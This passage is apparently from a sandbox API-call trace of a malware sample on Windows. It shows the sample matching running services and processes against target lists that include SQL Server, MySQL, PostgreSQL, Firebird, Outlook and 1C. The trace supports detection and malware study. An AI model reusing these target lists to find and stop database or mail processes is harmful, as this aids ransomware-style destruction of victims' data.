(lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0050.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0050.391] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0050.391] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0050.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0050.392] lstrlenW (lpString="Schedule") returned 8 [0050.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0050.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0050.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0050.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0050.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0050.392] lstrlenW (lpString="SENS") returned 4 [0050.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0050.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0050.392] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0050.392] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0050.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0050.392] lstrlenW (lpString="ShellHWDetection") returned 16 [0050.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.392] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0050.392] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0050.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0050.392] lstrlenW (lpString="Spooler") returned 7 [0050.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0050.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0050.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0050.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0050.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0050.392] lstrlenW (lpString="swprv") returned 5 [0050.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0050.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0050.393] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0050.393] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0050.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0050.393] lstrlenW (lpString="SysMain") returned 7 [0050.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0050.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0050.393] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0050.393] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0050.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0050.393] lstrlenW (lpString="Themes") returned 6 [0050.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0050.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0050.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0050.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0050.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0050.393] lstrlenW (lpString="TrkWks") returned 6 [0050.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0050.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0050.393] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0050.393] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0050.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0050.393] lstrlenW (lpString="UxSms") returned 5 [0050.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0050.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0050.393] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0050.393] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0050.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0050.393] lstrlenW (lpString="VSS") returned 3 [0050.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0050.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0050.393] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0050.394] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0050.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0050.394] lstrlenW (lpString="WdiServiceHost") returned 14 [0050.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.394] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0050.394] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0050.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0050.394] lstrlenW (lpString="WdiSystemHost") returned 13 [0050.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.394] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0050.394] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0050.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0050.394] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0050.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.394] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0050.394] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0050.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0050.394] lstrlenW (lpString="Winmgmt") returned 7 [0050.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0050.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0050.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0050.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0050.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0050.394] lstrlenW (lpString="WPDBusEnum") returned 10 [0050.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.394] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0050.394] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0050.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0050.395] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e800a8 | out: hHeap=0x790000) returned 1 [0050.395] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3e8 [0050.396] Process32FirstW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.397] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.397] lstrlenW (lpString="System") returned 6 [0050.397] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0050.397] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0050.397] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0050.397] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0050.398] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0050.398] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0050.398] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0050.398] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.398] lstrlenW (lpString="smss.exe") returned 8 [0050.398] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0050.398] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0050.398] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0050.398] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0050.398] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0050.398] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0050.398] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0050.398] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.398] lstrlenW (lpString="csrss.exe") returned 9 [0050.398] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.398] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0050.398] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0050.398] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0050.398] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0050.399] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0050.399] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0050.399] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.399] lstrlenW (lpString="wininit.exe") returned 11 [0050.399] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0050.399] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0050.399] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0050.399] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.399] lstrlenW (lpString="csrss.exe") returned 9 [0050.399] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.400] lstrlenW (lpString="winlogon.exe") returned 12 [0050.400] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.400] lstrlenW (lpString="services.exe") returned 12 [0050.400] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.400] lstrlenW (lpString="lsass.exe") returned 9 [0050.400] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.401] lstrlenW (lpString="lsm.exe") returned 7 [0050.401] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.401] lstrlenW (lpString="svchost.exe") returned 11 [0050.401] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.401] lstrlenW (lpString="svchost.exe") returned 11 [0050.401] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.401] lstrlenW (lpString="svchost.exe") returned 11 [0050.402] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.402] lstrlenW (lpString="svchost.exe") returned 11 [0050.402] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.402] lstrlenW (lpString="svchost.exe") returned 11 [0050.402] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.402] lstrlenW (lpString="audiodg.exe") returned 11 [0050.402] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.403] lstrlenW (lpString="svchost.exe") returned 11 [0050.403] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.403] lstrlenW (lpString="svchost.exe") returned 11 [0050.403] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.403] lstrlenW (lpString="dwm.exe") returned 7 [0050.403] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.404] lstrlenW (lpString="explorer.exe") returned 12 [0050.404] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.404] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.404] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.404] lstrlenW (lpString="taskhost.exe") returned 12 [0050.404] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.404] lstrlenW (lpString="svchost.exe") returned 11 [0050.404] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.405] lstrlenW (lpString="taskeng.exe") returned 11 [0050.405] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.405] lstrlenW (lpString="taskhost.exe") returned 12 [0050.405] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0050.405] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0050.405] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0050.406] lstrlenW (lpString="noticed.exe") returned 11 [0050.406] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0050.406] lstrlenW (lpString="uploaded.exe") returned 12 [0050.406] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0050.406] lstrlenW (lpString="hardware.exe") returned 12 [0050.406] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0050.406] lstrlenW (lpString="oracle.exe") returned 10 [0050.407] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0050.407] lstrlenW (lpString="creativity.exe") returned 14 [0050.407] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0050.407] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0050.407] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0050.407] lstrlenW (lpString="edited.exe") returned 10 [0050.407] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0050.408] lstrlenW (lpString="custody.exe") returned 11 [0050.408] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0050.408] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0050.408] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0050.408] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0050.408] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0050.409] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0050.409] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0050.409] lstrlenW (lpString="radius.exe") returned 10 [0050.409] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0050.409] lstrlenW (lpString="extensions.exe") returned 14 [0050.409] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0050.409] lstrlenW (lpString="desperate.exe") returned 13 [0050.410] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0050.410] lstrlenW (lpString="professor-mo.exe") returned 16 [0050.410] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0050.410] lstrlenW (lpString="guidance.exe") returned 12 [0050.410] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0050.410] lstrlenW (lpString="week.exe") returned 8 [0050.410] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0050.411] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0050.411] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0050.411] lstrlenW (lpString="sn featured.exe") returned 15 [0050.411] Process32NextW (in: hSnapshot=0x3e8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, 